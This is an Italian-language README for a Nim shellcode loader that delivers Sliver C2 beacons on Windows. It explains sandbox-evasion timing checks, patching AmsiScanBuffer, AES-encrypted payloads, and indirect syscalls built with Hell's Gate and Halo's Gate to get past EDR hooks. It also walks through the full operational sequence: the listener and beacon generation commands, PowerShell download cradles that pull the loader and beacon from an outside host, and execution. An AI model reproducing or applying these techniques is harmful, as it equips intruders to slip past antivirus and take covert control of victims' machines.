nimcrypt

# nimcrypt

Un loader di shellcode per Sliver scritto in Nim per Windows x64. Due varianti per coprire le due situazioni di consegna più comuni. Testato contro Windows Defender con protezione in tempo reale attiva.

## Varianti

### stager

Legge un blob di shellcode crittografato dal disco, lo decifra in memoria e si auto-inietta. Usalo quando hai già una primitiva di drop di file e desideri un binario piccolo e semplice.

```
loader.exe <shellcode.bin> [key_hex iv_hex]
```

Key e IV sono opzionali. Se omessi, il file viene trattato come shellcode grezzo non crittografato.

### stageless

Scarica il blob crittografato dal tuo C2 via HTTP usando lo stack Windows WinHTTP, lo decifra in memoria e si auto-inietta. Nessun file tocca mai il disco. Usalo quando puoi eseguire un binario sul target ma non puoi rilasciare in modo affidabile un secondo file.

Modifica le costanti all'inizio di `stageless/loader.nim` prima di compilare:

```nim
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 64 caratteri esadecimali da encrypt.py
scIV   = "..."   # 32 caratteri esadecimali da encrypt.py
```

## Tecniche

### Evasione sandbox

Il loader stageless chiama `Sleep(5000)` all'avvio e misura il tempo effettivo trascorso con `GetTickCount64`. Se sono passati meno di 4500ms, il processo termina. La maggior parte degli ambienti sandbox automatizzati saltano o accelerano le sleep, causando il fallimento del controllo. Questo viene eseguito prima di qualsiasi attività di rete o esecuzione di shellcode, quindi le sandbox che ispezionano il comportamento di rete non vedono nulla.

### Bypass AMSI

`amsi.nim` esegue il patch di `AmsiScanBuffer` a runtime utilizzando due livelli di offuscamento:

**Nascondere stringhe tramite hash FNV-1a.** La stringa `AmsiScanBuffer` non appare mai nel binario. Invece, il suo hash FNV-1a viene calcolato in fase di compilazione e memorizzato come costante. A runtime il loader esamina la tabella delle esportazioni di amsi.dll, calcola l'hash di ogni nome di esportazione e lo confronta con il valore memorizzato per trovare l'indirizzo della funzione senza mai tenere la stringa in memoria.

**Offuscamento XOR in fase di compilazione.** Sia il nome della DLL (`amsi.dll`) che i byte di patch (`xor eax, eax; ret` = `31 C0 C3`) vengono codificati con XOR in fase di compilazione utilizzando una chiave casuale generata fresca ad ogni build tramite un subprocesso Python. La chiave è incorporata come costante e i byte vengono decodificati a runtime immediatamente prima dell'uso. I byte grezzi cambiano ad ogni build, rompendo le firme statiche sulla sequenza di patch.

La patch sovrascrive i primi tre byte di `AmsiScanBuffer` con `xor eax, eax; ret`, facendo sì che ogni chiamata restituisca `AMSI_RESULT_CLEAN` indipendentemente dall'input.

### Crittografia del payload

`encrypt.py` crittografa lo shellcode grezzo con AES-256-CBC utilizzando una chiave casuale di 32 byte e un IV di 16 byte. Il loader decifra in-place utilizzando l'API Windows BCrypt, quindi non è necessaria alcuna libreria crittografica di terze parti sul target.

### Transizione di memoria da RW a RX

La memoria viene allocata come `PAGE_READWRITE`, lo shellcode viene scritto al suo interno, e successivamente la regione viene trasformata in `PAGE_EXECUTE_READ` prima dell'esecuzione. Allocare direttamente come `PAGE_EXECUTE_READWRITE` è una firma ben nota che Defender e gli EDR segnalano esplicitamente. Separare le fasi di scrittura ed esecuzione evita questo schema.

### Syscall indiretti (Hell's Gate + Halo's Gate)

`stageless/syscalls.nim` bypassa sia il livello API Win32 (kernel32.dll) che eventuali hook userland di ntdll.dll posizionati dagli EDR.

**Risoluzione SSN.** All'avvio il loader ottiene l'indirizzo base di ntdll e analizza la sua tabella delle esportazioni PE, raccogliendo ogni esportazione `Nt*` ordinata per RVA. Per ogni funzione NT necessaria, controlla i primi quattro byte:

- `4C 8B D1 B8` (`mov r10, rcx; mov eax, imm32`) significa che lo stub è pulito e l'SSN viene letto direttamente dai byte 4-5. Questo è Hell's Gate.
- Qualsiasi altra cosa significa che il prologo della funzione è stato patchato da un hook EDR. In questo caso il loader esamina i vicini nella lista ordinata finché non trova uno stub pulito, quindi calcola l'SSN target come `neighbor_SSN +/- distance`. Gli SSN incrementano di uno per stub in ordine di indirizzo. Questo è Halo's Gate.

**Localizzazione del gadget.** Il loader scansiona il primo stub Nt* pulito che trova per la sequenza di byte `0F 05 C3` (`syscall; ret`). Questo fornisce un indirizzo all'interno della sezione `.text` supportata dall'immagine di ntdll che possiamo riutilizzare.

**Generazione dello stub.** Per ogni funzione richiesta, uno stub di 22 byte viene scritto in una singola pagina RW che viene poi trasformata in RX prima dell'uso:

```
4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  indirizzo del gadget
```

Il `jmp [rip+0]` dereferenzia gli 8 byte immediatamente successivi (l'indirizzo del gadget) e reindirizza l'esecuzione nella sequenza `syscall; ret` esistente di ntdll. L'istruzione `syscall` viene eseguita dal `.text` di ntdll anziché dalla nostra allocazione anonima, sconfiggendo qualsiasi tracciamento a livello kernel di quale regione di memoria ha emesso la syscall.

Le quattro funzioni coperte dai syscall indiretti sono `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx` e `NtWaitForSingleObject`.

### Auto-iniezione

Dopo la decifratura, il loader stageless alloca una regione RW nel proprio processo tramite `NtAllocateVirtualMemory`, copia lo shellcode con `copyMem`, trasforma la regione in RX tramite `NtProtectVirtualMemory` e avvia un thread tramite `NtCreateThreadEx`. Il thread principale si blocca poi indefinitamente su `NtWaitForSingleObject`, mantenendo il processo vivo mentre le goroutine del beacon vengono eseguite. Tutte e quattro le chiamate passano attraverso gli stub di syscall indiretti descritti sopra.

L'auto-iniezione mantiene la superficie di chiamata minima. Non ci sono chiamate API cross-process (`WriteProcessMemory`, `CreateRemoteThread`, ecc.), che sono i principali vettori di rilevamento per l'iniezione remota classica.

## Flusso di esecuzione (stageless)

1. Controllo temporale: sleep 5s, termina se è trascorso < 4.5s
2. Patch AMSI: risolvi `AmsiScanBuffer` tramite FNV-1a, sovrascrivi con `xor eax, eax; ret`
3. Risolvi stub di syscall indiretti: analizza esportazioni ntdll, trova SSN (Hell's Gate + Halo's Gate), localizza gadget `syscall; ret`, scrivi stub
4. Download: richiesta GET WinHTTP, leggi il corpo della risposta
5. Decifra: AES-256-CBC tramite BCrypt in-place
6. Alloca: `NtAllocateVirtualMemory` nel proprio processo (RW) tramite syscall indiretto
7. Copia lo shellcode nell'allocazione
8. Proteggi: `NtProtectVirtualMemory` in PAGE_EXECUTE_READ tramite syscall indiretto
9. Esegui: `NtCreateThreadEx` tramite syscall indiretto
10. Attendi: `NtWaitForSingleObject` sull'handle del thread tramite syscall indiretto

## Flusso di esecuzione (stager)

1. Patch AMSI
2. Leggi il file di shellcode dal disco
3. Decifra se sono stati forniti key e IV
4. `VirtualAlloc` (RW), copia shellcode, `VirtualProtect` in RX
5. Esegui tramite cast di puntatore a funzione

## Requisiti

Sulla tua macchina di build Linux:

- Nim + nimble (`nimble install winim`)
- mingw-w64 (`x86_64-w64-mingw32-gcc`)
- Python 3 + pycryptodome (`pip install pycryptodome`)

## Flusso di lavoro completo

### 1. Avvia un listener Sliver

```
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
```

### 2. Genera shellcode beacon

```
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
```

### 3. Crittografa

```bash
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761
```

### 4. Imposta le costanti e compila

Modifica `stageless/loader.nim` e imposta `c2Host`, `c2Port`, `c2Path`, `scKey`, `scIV`, poi dalla root del progetto:

```bash
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
```

Compila sempre dalla root del progetto in modo che venga caricato solo il `nim.cfg` principale. L'output è un PE Windows x64 collegato staticamente senza dipendenze DLL esterne oltre alle librerie di sistema standard.

### 5. Servi o trasferisci

Stageless: servi il blob crittografato via HTTP sulla porta corrispondente a `c2Port`:

```bash
cd bins && python3 -m http.server 443
```

Stager: trasferisci entrambi i file sul target:

```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
```

### 6. Esegui

Stageless:
```
loader.exe
```

Stager con crittografia:
```
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
```

Stager senza crittografia:
```
loader.exe shellcode.bin
```

## Consegna tramite PowerShell

Se consegni tramite un cradle di download PowerShell, AMSI scannerizzerà lo script prima che il loader venga eseguito. Esegui prima il patch di AMSI nella tua sessione PS:

```bash
python3 gen_amsi.py
```

Incolla l'output nella sessione PS prima di scaricare o eseguire qualsiasi cosa. Lo script risolve `AmsiScanBuffer` tramite hash della tabella delle esportazioni, quindi la stringa non appare mai in chiaro, e tutti i byte di patch sono codificati XOR con una chiave casuale per ogni esecuzione.

## Note

- Richiede Windows 10 / Server 2016+ (Universal CRT)
- `BCryptSetProperty` per la modalità di concatenamento restituisce `STATUS_INVALID_PARAMETER` ma BCrypt per impostazione predefinita usa CBC, quindi la decifratura funziona correttamente
- I syscall indiretti coprono solo le quattro funzioni NT critiche per l'iniezione. Le chiamate Winsock e BCrypt passano ancora attraverso i loro normali percorsi API, il che è accettabile poiché queste chiamate sono comportamentalmente innocue in isolamento
- L'istruzione `syscall` negli stub viene eseguita dall'interno della sezione `.text` di ntdll (supportata dall'immagine, firmata Microsoft), non dalla pagina dello stub, sconfiggendo il tracciamento dell'origine della syscall a livello kernel

## Riferimenti

- https://github.com/gatariee/ldrgen
- https://github.com/D3Ext/Hooka

Puoi trovare maggiori dettagli sui meccanismi di Defender, tecniche e altri strumenti sul [mio blog](https://chaelsoo.me)